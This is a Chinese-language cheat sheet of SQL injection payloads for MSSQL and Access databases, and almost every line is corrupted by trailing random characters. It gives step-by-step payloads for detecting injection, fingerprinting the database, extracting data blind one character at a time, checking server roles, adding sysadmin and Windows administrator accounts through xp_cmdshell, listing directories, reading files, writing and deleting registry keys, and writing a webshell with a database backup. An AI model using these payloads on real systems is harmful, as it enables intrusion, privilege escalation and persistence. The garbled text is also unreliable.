1.判断是否有注入;and 1=1 ;and 1=2 \&U"7gSL
2.初步判断是否是mssql ;and user>0 jpOcug`f
YG)7+94
3.注入参数是字符'and [查询条件] and ''=' ,u!_mV
W)Y:2P<.
4.搜索时没过滤参数的'and [查询条件] and '%25'=' wo$ F_!3u
2z1r|?l
5.判断数据库系统 Ik@MIxLK
1F+nWc2 b
;and (select count(*) from sysobjects)>0 mssql woN
d7`C}7
Hq>rK`
;and (select count(*) from msysobjects)>0 access RB;2
75A60Uw
pK'D(t
Ye^xV,U@
6.猜数据库 ;and (select Count(*) from [数据库名])>0 Q8h=2YL
9WHarv2 @
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ]eX(K5 A
rP/W,!
7:K
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 1{
ehnH
q!q=axfMD
9.(1)猜字段的ascii值(access) w( ic$
I;9DG8C&v*
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 JD AX^]
KqNsCT+j
(2)猜字段的ascii值(mssql) f917F.1I
k9c`[M
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 Z'm( M[2K
|>-0q~
10.测试权限结构(mssql) ~dLe9-_9
N]GF>kf:
cCIs~*D
dbF9%I@
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 5j _[z|W2
J`wx72/-ZW
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- U;gy4rj
k_Lv\'Ok
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- HDz"i
9'KOc5@l^
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- rKl
:z$+leNH\
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 8P&z@E{y
Qr?(2t#
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 0.1?hb|p5T
6*I=%
H|
;and 1=(select IS_MEMBER('db_owner'));-- t3!~=U
nzU0=w}V
59?$9}ob
HLh]*tQG
11.添加mssql和系统的帐户 lvUWs
ESe$6)P
;exec master.dbo.sp_addlogin username;-- RVpo,;:
;exec master.dbo.sp_password null,username,password;-- C4|79UG>s
j"&Oa&SH
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- ,ZnL38GW
lnV!Xuf
;exec master.dbo.xp_cmdshell 'net user username password cQ0+kX<
Tcq@Q$H
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- SWNT}{x]
lW]&a"1$
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ZZ>(o
d!B
u#3Cst8Y
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- vQ{mEaH
)xTu|V
R5<:3tk=X
|lVi* 4za%
12.(1)遍历目录 vnX~OVz2
8=mx5Gwz-
;create table dirs(paths varchar(100), id int) yQC8 Gt8
jW}hLjlN
;insert dirs exec master.dbo.xp_dirtree 'c:\' CR-2>,*a9
F5\{`
;and (select top 1 paths from dirs)>0 XZ/cREz^s
^5-SL?E
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) /)r[}C0
Pa ^_s
ZrWA,~;
0EC/l
OS
(2)遍历目录 Vj[,o
Vt$
i\{fM}~W$
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- SqoO"(1x
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 eW[](lGWM
0'R}'
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 AQ,%5MeqJ
w X.]O!^X~
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 `V?NS,@$
")W5`9
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 =8DS~J{
Oq95zo
r<"k
/
pAcu{5#7
13.mssql中的存储过程 ~B`H5#
*,wW-8
xp_regenumvalues 注册表根键, 子键 UR[UZ4G
=AeOkie
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 No]#RvEd3
oCB#i~|>a
xp_regread 根键,子键,键值名 w5a;ts_x
<@qJsRbhK
;exec xp_regread h9 +76
Ia>~ph#]{`
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 :) T#.(mR
wgZ6|)!0
xp_regwrite 根键,子键, 值名, 值类型, 值 /tq e:*
$XrX(l5
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 Y,X0x-
e:6mz\J
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 lq)[
cUU"*bA#
xp_regdeletevalue 根键,子键,值名 7i9wfc h$U
\}7xgQ>oV
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 4aG}ex-s|
GUsJF;;V
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 .+-7 'ux
<z{,@Z}
~gOdK-SV*
6,skF^
14.mssql的backup创建webshell QQUZneIDp
2%j"E{J&
use model h ?+vH{}j
,uS}wJAX
create table cmd(str image); F=$U.K~1?
.c _qMTm"
insert into cmd(str) values (''); Q_|Lv&
.vpx@_;]9
backup database model to disk='c:\l.asp'; LLwC*) #
iMp_1EXe
C0j`H(
k
i{8f
15.mssql内置函数 }yM!o`90
nkz^^q`5l7
;and (select @@version)>0 获得Windows的版本号 S!7|vb*ko
\2)~dV:6+
;and user_name()='dbo' 判断当前系统的连接用户是不是sa =|q@Q`DB
P".rm0@R
;and (select user_name())>0 爆当前系统的连接用户 D;X/7 p|>
4% 2MY\
;and (select db_name())>0 得到当前连接的数据库 dxF)) Z
ImI,q:[67
$`Aps7A
2QV|NQSl
16.简洁的webshell Iyt.`z
!Bb^M3iA
use model ngH_p>
h=ko_/<
create table cmd(str image); ^1[u'DW4
rh6m
insert into cmd(str) values (''); [u/W h+
fMRMQR=6B
backup database model to disk='g:\wwwtest\l.asp';